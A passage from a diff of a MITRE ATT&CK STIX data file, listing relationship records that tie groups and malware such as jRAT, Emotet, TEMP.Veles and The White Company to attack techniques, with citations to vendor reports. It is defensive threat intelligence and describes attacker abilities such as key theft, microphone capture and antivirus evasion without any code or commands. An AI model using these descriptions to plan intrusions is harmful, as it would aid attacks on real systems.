"[TEMP.Veles](https://attack.mitre.org/groups/G0088) has used a publicly-available PowerShell-based tool, WMImplant. The group has also used PowerShell to perform [Timestomp](https://attack.mitre.org/techniques/T1099)ing.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T19:50:33.740Z", + "id": "relationship--a692f6c3-9082-4336-b52a-2a40556ee03d", + "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "modified": "2019-04-29T18:59:16.588Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye TEMP.Veles 2018", + "description": "FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html " + }, + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has modified files based on the open-source project cryptcat in an apparent attempt to decrease AV detection rates.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T19:50:33.751Z", + "id": "relationship--60d2b385-14cf-454a-ac92-0d41e3ec397a", + "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "modified": "2019-04-29T18:59:16.590Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye TEMP.Veles 2018", + "description": "FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html " + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[jRAT](https://attack.mitre.org/software/S0283) can browse file systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T20:48:39.675Z", + "id": "relationship--7de1c513-5141-45ed-aeb0-b1b221f4dc3f", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.390Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "source_name": "Kaspersky Adwind Feb 2016", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + }, + { + "source_name": "Symantec Frutas Feb 2013", + "description": "Bingham, J. (2013, February 11). Cross-Platform Frutas RAT Builder and Back Door. Retrieved April 23, 2019.", + "url": "https://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[jRAT](https://attack.mitre.org/software/S0283) can query and kill system processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T20:48:39.691Z", + "id": "relationship--7c1e2638-ca07-4825-b7e8-43690912ce74", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.384Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Frutas Feb 2013", + "description": "Bingham, J. (2013, February 11). Cross-Platform Frutas RAT Builder and Back Door. Retrieved April 23, 2019.", + "url": "https://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[jRAT](https://attack.mitre.org/software/S0283) collects information about the OS (version, build type, install date) as well as system up-time upon receiving a connection from a backdoor.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T20:48:39.703Z", + "id": "relationship--4e6c5e8c-96a2-4da8-869a-56fe224e037e", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.367Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Frutas Feb 2013", + "description": "Bingham, J. (2013, February 11). Cross-Platform Frutas RAT Builder and Back Door. Retrieved April 23, 2019.", + "url": "https://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[jRAT](https://attack.mitre.org/software/S0283) has been distributed as HTA files with VBScript+JScript.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T20:48:39.714Z", + "id": "relationship--0a7d7c02-efc9-4fd9-b1c9-c4316b8d01d2", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.370Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "source_name": "Kaspersky Adwind Feb 2016", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[jRAT](https://attack.mitre.org/software/S0283) can list network connections.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T20:48:39.717Z", + "id": "relationship--eb808671-1f29-4e76-9433-b50176abf60a", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.539Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "source_name": "Kaspersky Adwind Feb 2016", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[jRAT](https://attack.mitre.org/software/S0283) payloads have been packed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T20:48:39.732Z", + "id": "relationship--89210061-1ce3-4fdf-af84-2afee2062296", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.533Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "source_name": "Kaspersky Adwind Feb 2016", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[jRAT](https://attack.mitre.org/software/S0283) has command line access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T20:48:39.734Z", + "id": "relationship--2b2ccd03-b6ad-4125-a05d-851ebf353bb5", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.535Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "source_name": "Kaspersky Adwind Feb 2016", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f", + "description": "[jRAT](https://attack.mitre.org/software/S0283) can list and manage startup entries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T20:48:39.749Z", + "id": "relationship--68f6cc6d-b90b-4a56-a867-99b3a2786b11", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.582Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "source_name": "Kaspersky Adwind Feb 2016", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[jRAT](https://attack.mitre.org/software/S0283) can list local services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T20:48:39.751Z", + "id": "relationship--40da5ea7-b4d1-45a4-944e-c1c74e408086", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.576Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "source_name": "Kaspersky Adwind Feb 2016", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "description": "[jRAT](https://attack.mitre.org/software/S0283) can capture microphone recordings.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T20:48:39.753Z", + "id": "relationship--cdd356f2-bd44-497c-b02d-30ad9ed869a2", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.578Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "source_name": "Kaspersky Adwind Feb 2016", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe", + "description": "[jRAT](https://attack.mitre.org/software/S0283) can steal keys for VPNs and cryptocurrency wallets.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T20:48:39.771Z", + "id": "relationship--fe720085-2a43-4f72-8a5f-cf6ae82f7127", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.625Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "source_name": "Kaspersky Adwind Feb 2016", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "description": "[jRAT](https://attack.mitre.org/software/S0283) can capture clipboard data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T20:48:39.773Z", + "id": "relationship--ac3fb8d5-9d9d-4701-a269-53e838850d71", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.634Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "source_name": "Kaspersky Adwind Feb 2016", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[jRAT](https://attack.mitre.org/software/S0283) can support RDP control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T20:48:39.788Z", + "id": "relationship--7fc56f31-3cf9-411c-a6a2-79bbaab13f29", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.638Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "source_name": "Kaspersky Adwind Feb 2016", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[jRAT](https://attack.mitre.org/software/S0283) can serve as a SOCKS proxy server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T20:48:39.791Z", + "id": "relationship--8fd75064-d1b8-4b8c-b9ea-5b65a1cc0ea8", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.627Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "source_name": "Kaspersky Adwind Feb 2016", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "description": "[jRAT](https://attack.mitre.org/software/S0283) can map UPnP ports.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T20:48:39.804Z", + "id": "relationship--0c93519a-28a4-4d29-99bc-02c4d0e53ae2", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.632Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "source_name": "Kaspersky Adwind Feb 2016", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[jRAT](https://attack.mitre.org/software/S0283) can gather victim internal and external IPs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T20:50:12.404Z", + "id": "relationship--ef97d2bb-7e5a-4c3b-8e7d-cc4fb098c47d", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.637Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "source_name": "Kaspersky Adwind Feb 2016", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", + "description": "[jRAT](https://attack.mitre.org/software/S0283) can be configured to reconnect at certain intervals.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T20:50:12.415Z", + "id": "relationship--0d7811d3-d4ee-4114-b841-c0463f2274be", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.635Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "source_name": "Kaspersky Adwind Feb 2016", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "[jRAT](https://attack.mitre.org/software/S0283) can capture passwords from common chat applications such as MSN Messenger, AOL, Instant Messenger, and and Google Talk.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T20:50:12.425Z", + "id": "relationship--c1108137-b707-4358-b4b2-b2f139418f7e", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.629Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "source_name": "Kaspersky Adwind Feb 2016", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[Emotet](https://attack.mitre.org/software/S0367) can brute force a local admin password, then use it to facilitate lateral movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T21:06:37.114Z", + "id": "relationship--30930d8a-3c0d-41b2-a226-cccc56599bfd", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:30.144Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019.", + "source_name": "Malwarebytes Emotet Dec 2017", + "url": "https://support.malwarebytes.com/docs/DOC-2295" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cf7b3a06-8b42-4c33-bbe9-012120027925", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-25T20:53:08.446Z", + "id": "relationship--efc9bbb8-e606-4fb1-83ae-d74690fd0416", + "source_ref": "course-of-action--ae56a49d-5281-45c5-ab95-70a1439c338e", + "modified": "2019-07-24T14:18:49.366Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cf7b3a06-8b42-4c33-bbe9-012120027925", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) and its watchdog component are compiled and executed after being delivered to victims as embedded, uncompiled source code.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-25T21:31:16.011Z", + "id": "relationship--94bb62b3-e917-47cb-a717-560b28ea3d56", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "modified": "2019-06-10T18:25:51.849Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cf7b3a06-8b42-4c33-bbe9-012120027925", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used the .NET csc.exe tool to compile executables from downloaded C# code.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-25T21:34:56.303Z", + "id": "relationship--663d6fdf-6c99-4ef6-9a4e-bbc8bbe8591f", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:59.018Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "source_name": "ClearSky MuddyWater Nov 2018", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-26T19:30:33.727Z", + "id": "relationship--dfd5d379-9af4-4234-a0b2-a1591197249c", + "source_ref": "course-of-action--70886857-0f19-4caa-b081-548354a8a994", + "modified": "2019-07-24T19:31:37.125Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Ebury](https://attack.mitre.org/software/S0377) has obfuscated its strings with a simple XOR encryption with a static key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-26T20:07:36.100Z", + "id": "relationship--9af6241d-355a-4673-b772-8384a718ed64", + "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "modified": "2019-04-26T20:14:18.255Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Ebury Feb 2014", + "description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.", + "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[APT39](https://attack.mitre.org/groups/G0087) used [Remexi](https://attack.mitre.org/software/S0375) to collect usernames from the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-29T15:53:48.468Z", + "id": "relationship--439344c5-67e0-4d38-9b91-866392e5e232", + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "modified": "2019-04-29T18:16:38.727Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Chafer Dec 2015", + "description": "Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.", + "url": "https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-29T15:54:23.241Z", + "id": "relationship--2a37ddb3-56ef-4c2d-bec7-d6060eb0215a", + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "modified": "2019-04-29T18:16:38.854Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Chafer Dec 2015", + "description": "Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.", + "url": "https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets" + }, + { + "source_name": "Securelist Remexi Jan 2019", + "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.", + "url": "https://securelist.com/chafer-used-remexi-malware/89538/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[The White Company](https://attack.mitre.org/groups/G0089) has checked the current date on the victim system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T00:08:18.438Z", + "id": "relationship--f368f221-bcd5-400d-b350-83173de26423", + "source_ref": "intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4", + "modified": "2019-06-12T19:55:21.895Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cylance Shaheen Nov 2018", + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[The White Company](https://attack.mitre.org/groups/G0089) has checked for specific antivirus products on the target\u2019s computer, including Kaspersky, Quick Heal, AVG, BitDefender, Avira, Sophos, Avast!, and ESET.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T00:08:18.461Z", + "id": "relationship--2a8c6029-7714-437a-87a2-bc91067575e6", + "source_ref": "intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4", + "modified": "2019-06-12T19:55:21.940Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cylance Shaheen Nov 2018", + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[The White Company](https://attack.mitre.org/groups/G0089) has the ability to delete its malware entirely from the target system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T00:08:18.466Z", + "id": "relationship--9d42a47f-ccdc-42f0-9551-11bf5e2a9616", + "source_ref": "intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4", + "modified": "2019-06-12T19:55:21.929Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cylance Shaheen Nov 2018", + "description": "Livelli, K, 